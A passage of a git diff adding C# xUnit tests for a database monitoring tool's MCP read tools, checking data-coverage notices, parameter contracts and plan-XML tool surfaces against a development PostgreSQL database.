+                "INSERT INTO pg_replication_stats (collection_id, collection_time, server_id, server_name, application_name, client_addr, state, sync_state, sync_priority, sent_bytes_behind, write_bytes_behind, flush_bytes_behind, replay_bytes_behind, write_lag_ms, flush_lag_ms, replay_lag_ms, backend_start) VALUES ($1, $2, $3, $4, 'replica1', '10.0.0.2', 'streaming', 'async', 0, 0, 0, 0, 0, 1.0, 1.0, 1.0, $2)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), Id(n), n)),
+        new("get_pg_xmin_horizon", "pg_xmin_horizon", "pg_xmin_horizon", false,
+            (ds, n, h, end) => DarlingMcpPgXminTools.GetPgXminHorizon(ds, n, h, as_of: AsOf(end)),
+            async (c, n, at) => await Exec(c,
+                "INSERT INTO pg_xmin_horizon (collection_id, collection_time, server_id, server_name, source, xmin_age, holder, detail, is_winner) VALUES ($1, $2, $3, $4, 'session', 5000, 'pid 42', NULL, TRUE)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), Id(n), n)),
+    ];
+
+    public static IEnumerable<object[]> ToolNames() => Tools.Select(t => new object[] { t.Read });
+
+    private static Tool Of(string read) => Tools.Single(t => t.Read == read);
+
+    private static Task RunAsync(Tool t, string window, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, string, Task> body) =>
+        WindowFloorLiveHarness.RunAsync(ConnectionString, [t.Collector], [Name(t.Read, window)], [t.Table],
+            (c, ds, end) => body(c, ds, end, Name(t.Read, window)));
+
+    private static Task SeedServerAsync(NpgsqlConnection c, Tool t, string name, DateTime created, DateTime? runsFrom, DateTime end) =>
+        WindowFloorLiveHarness.SeedServerAsync(c, name, created, t.Collector, runsFrom, 30, end, [t.Table], TestContext.Current.CancellationToken);
+
+    [Theory]
+    [MemberData(nameof(ToolNames))]
+    public async Task ADataAnswer_ForAServerAddedTwoDaysAgo_NamesWhereCoverageStarts_RightAfterHoursBack_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "added", async (c, ds, end, name) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedServerAsync(c, t, name, added, added, end);
+            await t.SeedRow(c, name, end.AddDays(-1));
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 168, end));
+
+            Assert.True(root.GetProperty("window_truncated").GetBoolean(), root.ToString());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), root.GetProperty("effective_start").GetString());
+            Assert.Equal(DarlingMcpWindowNotice.Build(added, end.AddHours(-168), DarlingMcpWindowNotice.TableFor(read)).TruncationNote, root.GetProperty("truncation_note").GetString());
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+        });
+    }
+
+    /// <summary>The collector ran all week and stored nothing until a day back: its first row says nothing about when collection began.</summary>
+    [Theory]
+    [MemberData(nameof(ToolNames))]
+    public async Task AQuietStart_WhereTheCollectorRanButStoredNoRowsEarly_GivesNoNotice_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "quiet", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, t, name, end.AddDays(-30), end.AddDays(-9), end);
+            await t.SeedRow(c, name, end.AddDays(-1));
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 168, end));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean(), root.ToString());
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        });
+    }
+
+    [Theory]
+    [MemberData(nameof(ToolNames))]
+    public async Task AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "short", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, t, name, end.AddDays(-30), end.AddDays(-2), end);
+            await t.SeedRow(c, name, end.AddMinutes(-40));
+            var calls = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { calls++; return Task.FromResult<DateTime?>(null); };
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 1, end));
+
+            Assert.Equal(0, calls);
+            Assert.False(root.GetProperty("window_truncated").GetBoolean(), root.ToString());
+        });
+    }
+
+    [Theory]
+    [MemberData(nameof(ToolNames))]
+    public async Task AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "probefail", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, t, name, end.AddDays(-2), end.AddDays(-2), end);
+            await t.SeedRow(c, name, end.AddDays(-1));
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 168, end));
+
+            Assert.False(McpHelpers.IsErrorEnvelope(root.ToString()), root.ToString());
+            Assert.False(root.TryGetProperty("effective_start", out _));
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+            Assert.False(root.TryGetProperty("truncation_note", out _));
+            Assert.True(root.TryGetProperty("replicas", out _) || root.GetProperty("status").GetString() is "blocking_sampled" or "session_states" or "holder_present", root.ToString());
+        });
+    }
+
+    /// <summary>An all-clear over a window that begins before collection did: nothing was stored, but the collector's runs show where it started.</summary>
+    [Theory]
+    [MemberData(nameof(ToolNames))]
+    public async Task AnAllClear_PastCoverage_CarriesHints_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "empty", async (c, ds, end, name) =>
+        {
+            var began = end.AddMinutes(-30);
+            await SeedServerAsync(c, t, name, began, began, end);
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 3, end));
+
+            Assert.False(root.TryGetProperty("window_truncated", out _), "an empty answer carries the keys under hints, not at the top: " + root);
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean(), root.ToString());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(began), hints.GetProperty("effective_start").GetString());
+            Assert.False(string.IsNullOrEmpty(hints.GetProperty("truncation_note").GetString()));
+        });
+    }
+
+    /// <summary>The quiet claim (#4966): over a window the collector began inside, the answer names where the data starts instead of calling the stretch before it quiet; over a covered window it keeps its words.</summary>
+    [Theory]
+    [InlineData("get_pg_replication_stats", "that is the expected answer", false)]
+    [InlineData("get_pg_xmin_horizon", "Vacuum is free to reclaim dead rows", true)]
+    [InlineData("get_pg_session_states", "a real all-clear rather than missing data", false)]
+    public async Task AnAllClear_ClaimsQuiet_OnlyOverACoveredWindow_AgainstDevPostgres(string read, string coveredClaim, bool inFinding)
+    {
+        var t = Of(read);
+        string Text(JsonElement root) => inFinding ? root.GetProperty("finding").GetString()! : root.GetProperty("message").GetString()!;
+
+        await RunAsync(t, "quietclaim", async (c, ds, end, name) =>
+        {
+            var began = end.AddMinutes(-30);
+            await SeedServerAsync(c, t, name, began, began, end);
+            var cut = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 3, end));
+            Assert.True(cut.GetProperty("hints").GetProperty("window_truncated").GetBoolean(), cut.ToString());
+            Assert.Contains(". " + McpHelpers.CutWindowNothingMessage, Text(cut), StringComparison.Ordinal);
+            Assert.DoesNotContain(coveredClaim, Text(cut), StringComparison.Ordinal);
+            if (read == "get_pg_xmin_horizon")
+            {
+                /* The cut factual part claims only the captures the store holds, never the whole window. */
+                Assert.Contains("in the captures the store holds", Text(cut), StringComparison.Ordinal);
+                Assert.DoesNotContain("in this window", Text(cut), StringComparison.Ordinal);
+                Assert.EndsWith(". " + McpHelpers.CutWindowNothingMessage, Text(cut), StringComparison.Ordinal);
+            }
+
+            await SeedServerAsync(c, t, name, end.AddDays(-30), end.AddDays(-30), end);
+            var covered = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 3, end));
+            Assert.False(covered.GetProperty("hints").GetProperty("window_truncated").GetBoolean(), covered.ToString());
+            Assert.Contains(coveredClaim, Text(covered), StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain(McpHelpers.CutWindowNothingMessage, Text(covered), StringComparison.Ordinal);
+        });
+    }
+
+    [Theory]
+    [MemberData(nameof(ToolNames))]
+    public async Task ANotCollectedAnswer_StaysBare_AndStartsNoProbe_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "notcollected", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, t, name, end.AddDays(-30), null, end);
+            await Exec(c, "UPDATE servers SET sql_engine_edition = $2, engine_kind = $3 WHERE server_id = $1", Id(name), 3, "sqlserver");
+            var calls = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { calls++; return Task.FromResult<DateTime?>(null); };
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 168, end));
+
+            Assert.Equal("not_collected", root.GetProperty("status").GetString());
+            Assert.False(root.TryGetProperty("hints", out _));
+            Assert.Equal(0, calls);
+        });
+    }
+
+    /// <summary>No capture at all in the window is not an all-clear and carries no notice: blocking's not_sampled, session states' and xmin's unavailable.</summary>
+    [Theory]
+    [InlineData("get_pg_blocking")]
+    [InlineData("get_pg_session_states")]
+    [InlineData("get_pg_xmin_horizon")]
+    public async Task ANoCaptureAnswer_StaysBare_AgainstDevPostgres(string read)
+    {
+        var t = Of(read);
+        await RunAsync(t, "nocapture", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, t, name, end.AddDays(-30), null, end);
+
+            var root = WindowFloorLiveHarness.Parse(await t.Call(ds, name, 1, end));
+
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+            Assert.False(root.TryGetProperty("hints", out var hints) && hints.TryGetProperty("window_truncated", out _), root.ToString());
+            Assert.NotEqual("empty", root.GetProperty("status").GetString());
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpPlanCorrectionToolsTests.cs b/Darling/Darling.Tests/DarlingMcpPlanCorrectionToolsTests.cs
index e96ee5a1be..e446039abe 100644
--- a/Darling/Darling.Tests/DarlingMcpPlanCorrectionToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpPlanCorrectionToolsTests.cs
@@ -11,6 +11,10 @@
 using System.Linq;
 using System.Reflection;
 using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
 using ModelContextProtocol.Server;
 using PerformanceMonitor.Darling.Service.Mcp;
 using Xunit;
@@ -58,7 +62,7 @@ public void ParamContract_StandardWindowedShape_ServerNameOptional()
             .Select(p => (p.Name, p.HasDefaultValue))
             .ToArray();
 
-        Assert.Equal(new[] { "server_name", "hours_back", "limit", "as_of", "full_text" }, mcpParams.Select(p => p.Name).ToArray());
+        Assert.Equal(new[] { "server_name", "hours_back", "limit", "as_of", "full_text", "database_name" }, mcpParams.Select(p => p.Name).ToArray());
         Assert.True(mcpParams.Single(p => p.Name == "server_name").HasDefaultValue, "server_name must be optional");
     }
 
@@ -117,6 +121,169 @@ public void Reads_ArePostgresDialect_NoTsqlIsms(string sqlName)
         Assert.DoesNotContain("@", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("N'", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("getdate", sql.ToLowerInvariant());
-        Assert.DoesNotContain("[", sql, StringComparison.Ordinal);
+        /* #5244: the database list predicate casts its parameter to text[], an array type, not a T-SQL bracket identifier. */
+        Assert.DoesNotContain("[", sql.Replace("text[]", "", StringComparison.Ordinal), StringComparison.Ordinal);
     }
 }
+
+/// <summary>The live window-floor cases of get_plan_corrections (#4966).</summary>
+[Collection("live-postgres")]
+public sealed class DarlingMcpPlanCorrectionToolsLivePostgresTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /* #4966: the window-floor notice on get_plan_corrections. Rows are windowed on collection_time, the probe's own column. */
+    private const string WindowCollector = "plan_correction";
+
+    private static string WindowName(string window) => "plan-correction-window-" + window;
+
+    private static Task<string> CallWindowAsync(NpgsqlDataSource ds, string window, int hours, DateTime end, int limit = 25) =>
+        DarlingMcpPlanCorrectionTools.GetPlanCorrections(ds, WindowName(window), hours, limit, as_of: WebDataStartNote.FormatWindowEnd(end));
+
+    private static Task RunWindowAsync(string window, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, Task> body) =>
+        WindowFloorLiveHarness.RunAsync(ConnectionString, [WindowCollector], [WindowName(window)], ["plan_correction"], body);
+
+    private static Task SeedWindowAsync(NpgsqlConnection c, string window, DateTime created, DateTime? runsFrom, int step, DateTime end) =>
+        WindowFloorLiveHarness.SeedServerAsync(c, WindowName(window), created, WindowCollector, runsFrom, step, end, ["plan_correction"], TestContext.Current.CancellationToken);
+
+    /// <summary>A recommendation row (or, with a null name, an enablement-only row) captured at <paramref name="at"/>.</summary>
+    private static Task SeedPlanRowAsync(NpgsqlConnection c, string window, DateTime at, string? recommendation) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            @"INSERT INTO plan_correction (collection_id, collection_time, server_id, server_name, database_name, force_last_good_plan_desired_state, force_last_good_plan_actual_state, recommendation_name, recommendation_state, query_id, query_text)
+VALUES ($1,$2,$3,$4,$5,$6,$6,$7,$8,$9,$10)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), ServerIdHelper.GetDeterministicHashCode(WindowName(window)), WindowName(window),
+            "StackOverflow", "Enabled", (object?)recommendation ?? DBNull.Value, recommendation is null ? (object)DBNull.Value : "Active", 1000L, "SELECT 1");
+
+    private static async Task SeedThreeRowsAsync(NpgsqlConnection c, string window, DateTime first)
+    {
+        for (var i = 0; i < 3; i++)
+        {
+            await SeedPlanRowAsync(c, window, first.AddHours(i), "PlanRegression_" + i);
+        }
+    }
+
+    [Fact]
+    public async Task ARowsAnswer_ForAServerAddedTwoDaysAgo_NamesWhereCoverageStarts_AndAPagedPageKeepsTheTwoFlagsApart_AgainstDevPostgres() =>
+        await RunWindowAsync("added", async (c, ds, end) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedWindowAsync(c, "added", added, added, 30, end);
+            await SeedThreeRowsAsync(c, "added", end.AddDays(-1));
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "added", 168, end, limit: 2));
+
+            Assert.True(root.GetProperty("truncated").GetBoolean());
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), root.GetProperty("effective_start").GetString());
+            Assert.Equal(DarlingMcpWindowNotice.Build(added, end.AddHours(-168), "plan_correction").TruncationNote, root.GetProperty("truncation_note").GetString());
+            Assert.False(root.TryGetProperty("effective_hours_back", out _));
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+            Assert.True(names.IndexOf("truncation_note") < names.IndexOf("automatic_tuning"));
+        });
+
+    [Fact]
+    public async Task ARowsAnswer_WhoseFirstRowComesLate_IsCovered_AgainstDevPostgres() =>
+        await RunWindowAsync("quiet", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "quiet", end.AddDays(-30), end.AddDays(-8), 60, end);
+            await SeedThreeRowsAsync(c, "quiet", end.AddDays(-5));
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "quiet", 168, end));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            var effective = DateTime.Parse(root.GetProperty("effective_start").GetString()!, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind);
+            Assert.InRange((effective - end.AddHours(-168)).TotalSeconds, 0, 120);
+        });
+
+    [Fact]
+    public async Task AnEmptyAnswer_PastCoverage_CarriesHints_AgainstDevPostgres() =>
+        await RunWindowAsync("empty", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "empty", end.AddDays(-30), null, 30, end);
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "empty", 1, end));
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, hints.GetProperty("effective_start").ValueKind);
+            Assert.Contains("no collection of plan_correction", hints.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+        });
+
+    [Fact]
+    public async Task ATuningOnlyAnswer_IsAData_Answer_AndIsProbedWhateverTheWindow_AgainstDevPostgres() =>
+        await RunWindowAsync("tuning", async (c, ds, end) =>
+        {
+            /* The server's collection began 30 minutes into the one-hour window; the only row is an enablement snapshot from before it. */
+            var began = end.AddMinutes(-30);
+            await SeedWindowAsync(c, "tuning", began, began, 10, end);
+            await SeedPlanRowAsync(c, "tuning", end.AddDays(-3), null);
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "tuning", 1, end));
+
+            Assert.False(root.TryGetProperty("status", out _));
+            Assert.Equal(0, root.GetProperty("recommendations_returned").GetInt32());
+            Assert.Equal(1, root.GetProperty("automatic_tuning").GetArrayLength());
+            /* Probed though the window is one hour: the start is the floor, not the asked start. */
+            Assert.Equal(McpHelpers.FormatEffectiveStart(began), root.GetProperty("effective_start").GetString());
+        });
+
+    [Fact]
+    public async Task ATuningOnlyAnswer_OverAWindowNothingCovered_NeverCallsItselfEmpty_AgainstDevPostgres() =>
+        await RunWindowAsync("tuningcold", async (c, ds, end) =>
+        {
+            /* No logged run anywhere near the window, and the only row is an enablement snapshot: the answer carries data. */
+            await SeedWindowAsync(c, "tuningcold", end.AddDays(-30), null, 30, end);
+            await SeedPlanRowAsync(c, "tuningcold", end.AddDays(-3), null);
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "tuningcold", 1, end));
+
+            Assert.False(root.TryGetProperty("status", out _));
+            Assert.Equal(1, root.GetProperty("automatic_tuning").GetArrayLength());
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            var note = root.GetProperty("truncation_note").GetString()!;
+            Assert.DoesNotContain("empty", note, StringComparison.OrdinalIgnoreCase);
+            Assert.Contains("no collection of plan_correction", note, StringComparison.Ordinal);
+        });
+
+    [Fact]
+    public async Task AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres() =>
+        await RunWindowAsync("short", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "short", end.AddDays(-30), end.AddDays(-2), 30, end);
+            await SeedPlanRowAsync(c, "short", end.AddMinutes(-20), "PlanRegression_short");
+            var calls = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { calls++; return Task.FromResult<DateTime?>(null); };
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "short", 1, end));
+
+            Assert.Equal(0, calls);
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(1, root.GetProperty("recommendations_returned").GetInt32());
+        });
+
+    [Fact]
+    public async Task AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres() =>
+        await RunWindowAsync("probefail", async (c, ds, end) =>
+        {
+            await SeedWindowAsync(c, "probefail", end.AddDays(-2), end.AddDays(-2), 30, end);
+            await SeedThreeRowsAsync(c, "probefail", end.AddDays(-1));
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+
+            var root = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "probefail", 168, end));
+            Assert.False(root.TryGetProperty("status", out _));
+            Assert.Equal(3, root.GetProperty("recommendations_returned").GetInt32());
+            Assert.False(root.TryGetProperty("effective_start", out _));
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+            Assert.False(root.TryGetProperty("truncation_note", out _));
+
+            /* The enablement snapshot answers whatever the window, so the empty answer needs a server with no plan rows at all. */
+            await DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken, "DELETE FROM plan_correction WHERE server_id = $1", ServerIdHelper.GetDeterministicHashCode(WindowName("probefail")));
+            var empty = WindowFloorLiveHarness.Parse(await CallWindowAsync(ds, "probefail", 1, end.AddDays(-9)));
+            Assert.Equal("empty", empty.GetProperty("status").GetString());
+            Assert.False(empty.TryGetProperty("hints", out _));
+        });
+}
diff --git a/Darling/Darling.Tests/DarlingMcpPlanToolsTests.cs b/Darling/Darling.Tests/DarlingMcpPlanToolsTests.cs
index dfbc41df32..59ea5adce3 100644
--- a/Darling/Darling.Tests/DarlingMcpPlanToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpPlanToolsTests.cs
@@ -45,8 +45,8 @@ public sealed class DarlingMcpPlanToolsSurfaceAndSqlTests
 {
     /* ---------------- ungated: tool-surface pin ---------------- */
 
-    /// <summary>The five plan-analysis tool names, ordinal-sorted — the same names the Dashboard's
-    /// and Lite's McpPlanTools register, so MCP clients see one consistent product.</summary>
+    /// <summary>The five plan-analysis tool names the Dashboard's and Lite's McpPlanTools register too, so MCP
+    /// clients see one consistent product.</summary>
     private static readonly string[] SharedPlanToolSurface =
     {
         "analyze_plan_xml",
@@ -56,13 +56,28 @@ public sealed class DarlingMcpPlanToolsSurfaceAndSqlTests
         "get_plan_xml"
     };
 
+    /// <summary>The Darling-only raw-plan reads behind the web grids' plan buttons (#5228, #5236): one per row key shape.
+    /// Lite's cross-app inventory pin lists them as Darling-only.</summary>
+    private static readonly string[] RowPlanToolSurface =
+    {
+        "get_active_query_plan_xml",
+        "get_blocking_plan_xml",
+        "get_deadlock_plan_xml",
+        "get_procedure_plan_xml",
+        "get_query_repro_script",
+        "get_query_store_plan_xml"
+    };
+
+    private static readonly string[] FullPlanToolSurface =
+        SharedPlanToolSurface.Concat(RowPlanToolSurface).OrderBy(n => n, StringComparer.Ordinal).ToArray();
+
     private static MethodInfo[] ToolMethods() => typeof(DarlingMcpPlanTools)
         .GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance)
         .Where(m => m.GetCustomAttribute<McpServerToolAttribute>() is not null)
         .ToArray();
 
     [Fact]
-    public void ToolSurface_ExactlyTheFivePlanTools()
+    public void ToolSurface_IsTheFiveSharedPlanTools_PlusTheFiveRowPlanReads()
     {
         var toolMethods = ToolMethods();
 
@@ -71,7 +86,7 @@ public void ToolSurface_ExactlyTheFivePlanTools()
             .OrderBy(n => n, StringComparer.Ordinal)
             .ToArray();
 
-        Assert.Equal(SharedPlanToolSurface, names);
+        Assert.Equal(FullPlanToolSurface, names);
 
         /* Discoverable as a tool type, every tool static (WithGeminiCompatibleTools REJECTS instance
            methods), and every tool returning the string envelope both apps' tools return (Task<string>
@@ -381,10 +396,10 @@ void Walk(JsonElement element, string path)
     }
 
     [Fact]
-    public void AdvertisedSchema_IsGeminiClean_ForAllFivePlanTools()
+    public void AdvertisedSchema_IsGeminiClean_ForAllPlanTools()
     {
         var tools = BuildPlanToolSchemas();
-        Assert.Equal(5, tools.Count);
+        Assert.Equal(FullPlanToolSurface.Length, tools.Count);
 
         var violations = tools.SelectMany(t => SchemaViolations(t.Name, t.InputSchema)).ToList();
         Assert.True(violations.Count == 0,
@@ -403,6 +418,110 @@ public void AdvertisedSchema_RequiredParams_MatchTheDashboardContract()
         Assert.Equal(new[] { "database_name", "query_id" }, RequiredOf(tools["analyze_query_store_plan"]));
         Assert.Equal(new[] { "plan_xml" }, RequiredOf(tools["analyze_plan_xml"]));
         Assert.Equal(new[] { "query_hash" }, RequiredOf(tools["get_plan_xml"]));
+
+        /* #5228: each row read requires exactly the key its grid row carries; the rest is optional. */
+        Assert.Equal(new[] { "database_name", "query_id" }, RequiredOf(tools["get_query_store_plan_xml"]));
+        Assert.Equal(new[] { "sql_handle" }, RequiredOf(tools["get_procedure_plan_xml"]));
+        Assert.Equal(new[] { "collection_time", "session_id" }, RequiredOf(tools["get_active_query_plan_xml"]));
+        Assert.Equal(new[] { "kind" }, RequiredOf(tools["get_query_repro_script"]));
+
+        /* #5236: the blocking read requires the row's event_time and both spids (the ecids and side are optional); the deadlock
+           read requires its two stamps (the victim is the optional tiebreak). */
+        Assert.Equal(new[] { "event_time", "blocked_spid", "blocking_spid" }, RequiredOf(tools["get_blocking_plan_xml"]));
+        Assert.Equal(new[] { "collection_time", "deadlock_time" }, RequiredOf(tools["get_deadlock_plan_xml"]));
+    }
+
+    [Fact]
+    public void ParamContract_RowPlanReads_MirrorTheirAnalyzeTwinsKey()
+    {
+        var qs = McpParams("get_query_store_plan_xml");
+        Assert.Equal(new[] { "database_name", "query_id", "server_name", "plan_id" }, qs.Select(x => x.Name).ToArray());
+        var proc = McpParams("get_procedure_plan_xml");
+        Assert.Equal(new[] { "sql_handle", "server_name" }, proc.Select(x => x.Name).ToArray());
+        var active = McpParams("get_active_query_plan_xml");
+        Assert.Equal(new[] { "collection_time", "session_id", "server_name", "request_id", "live" }, active.Select(x => x.Name).ToArray());
+        Assert.True(Optional(active, "request_id"));
+        Assert.True(Optional(active, "live"));
+        var repro = McpParams("get_query_repro_script");
+        Assert.Equal(
+            new[] { "kind", "server_name", "database_name", "query_hash", "query_id", "plan_id", "collection_time", "session_id", "request_id" },
+            repro.Select(x => x.Name).ToArray());
+        Assert.False(Optional(repro, "kind"));
+        Assert.True(Optional(repro, "request_id"));
+
+        /* #5236: the two orders, key first, then the server, then the optional refinements. */
+        var blocking = McpParams("get_blocking_plan_xml");
+        Assert.Equal(
+            new[] { "event_time", "blocked_spid", "blocking_spid", "server_name", "blocked_ecid", "blocking_ecid", "side", "database_name" },
+            blocking.Select(x => x.Name).ToArray());
+        Assert.False(Optional(blocking, "event_time"));
+        Assert.False(Optional(blocking, "blocked_spid"));
+        Assert.False(Optional(blocking, "blocking_spid"));
+        Assert.True(Optional(blocking, "blocked_ecid"));
+        Assert.True(Optional(blocking, "blocking_ecid"));
+        Assert.True(Optional(blocking, "side"));
+        Assert.True(Optional(blocking, "database_name"));
+        var deadlock = McpParams("get_deadlock_plan_xml");
+        Assert.Equal(
+            new[] { "collection_time", "deadlock_time", "server_name", "victim_process_id", "database_name" },
+            deadlock.Select(x => x.Name).ToArray());
+        Assert.False(Optional(deadlock, "collection_time"));
+        Assert.False(Optional(deadlock, "deadlock_time"));
+        Assert.True(Optional(deadlock, "victim_process_id"));
+        Assert.True(Optional(deadlock, "database_name"));
+    }
+
+    /// <summary>
+    /// #5236: the blocking and deadlock reads refuse a side that is neither blocked nor blocking, and a stamp that is not an ISO 8601
+    /// round-trip form (a bare date), BEFORE touching the store (the data source is never used on these paths). The refusal names the
+    /// parameter and the source read, so a caller can fix the right one.
+    /// </summary>
+    [Fact]
+    public async Task BlockingPlanRead_RefusesAnUnknownSide_AndAnUnparseableEventTime()
+    {
+        const string good = "2026-03-04T05:06:07.1234560";
+
+        var side = await DarlingMcpPlanTools.GetBlockingPlanXml(null!, good, 51, 52, side: "sideways");
+        Assert.Equal("invalid", System.Text.Json.JsonDocument.Parse(side).RootElement.GetProperty("status").GetString());
+        Assert.Contains("side", side, StringComparison.Ordinal);
+        Assert.Contains("Expected blocked or blocking.", side, StringComparison.Ordinal);
+
+        var bareDate = await DarlingMcpPlanTools.GetBlockingPlanXml(null!, "2026-03-04", 51, 52);
+        Assert.Equal("invalid", System.Text.Json.JsonDocument.Parse(bareDate).RootElement.GetProperty("status").GetString());
+        Assert.Contains("event_time", bareDate, StringComparison.Ordinal);
+        Assert.Contains("get_blocking", bareDate, StringComparison.Ordinal);
+
+        var collection = await DarlingMcpPlanTools.GetDeadlockPlanXml(null!, "not-a-time", good);
+        Assert.Contains("collection_time", collection, StringComparison.Ordinal);
+        Assert.Contains("get_deadlocks", collection, StringComparison.Ordinal);
+
+        var deadlockTime = await DarlingMcpPlanTools.GetDeadlockPlanXml(null!, good, "3/4/2026");
+        Assert.Equal("invalid", System.Text.Json.JsonDocument.Parse(deadlockTime).RootElement.GetProperty("status").GetString());
+        Assert.Contains("deadlock_time", deadlockTime, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void RowPlanReadDescriptions_AreAtMost160Characters()
+    {
+        foreach (var name in RowPlanToolSurface)
+        {
+            var method = ToolMethods().Single(m => m.GetCustomAttribute<McpServerToolAttribute>()!.Name == name);
+            var description = method.GetCustomAttribute<DescriptionAttribute>()!.Description;
+            Assert.True(description.Length <= 160, $"{name}: description is {description.Length} characters");
+        }
+    }
+
+    [Fact]
+    public void ActiveQuerySnapshotPlanSql_IsByteEqualToTheViewers()
+    {
+        /* The web read and the desktop read must fetch a snapshot's plan by the same statement. Line endings are the
+           checkout's (each file is read as CRLF on Windows), so they are not part of the comparison. */
+        Assert.Equal(
+            PerformanceMonitor.Darling.Viewer.ViewerDataService.QuerySnapshotEstimatedPlanSql.ReplaceLineEndings("\n"),
+            DarlingStoredPlanReader.QuerySnapshotPlanSql.ReplaceLineEndings("\n"));
+        Assert.Equal(
+            PerformanceMonitor.Darling.Viewer.ViewerDataService.QuerySnapshotLivePlanSql.ReplaceLineEndings("\n"),
+            DarlingStoredPlanReader.QuerySnapshotLivePlanSql.ReplaceLineEndings("\n"));
     }
 
     [Fact]
diff --git a/Darling/Darling.Tests/DarlingMcpPvsToolsTests.cs b/Darling/Darling.Tests/DarlingMcpPvsToolsTests.cs
index 6868a877cd..5a1c4ba574 100644
--- a/Darling/Darling.Tests/DarlingMcpPvsToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpPvsToolsTests.cs
@@ -56,7 +56,9 @@ public void ParamContract_ServerNameOptional_TrendOptInDefaultsOff()
             .Select(p => (p.Name, p.HasDefaultValue, p.DefaultValue))
             .ToArray();
 
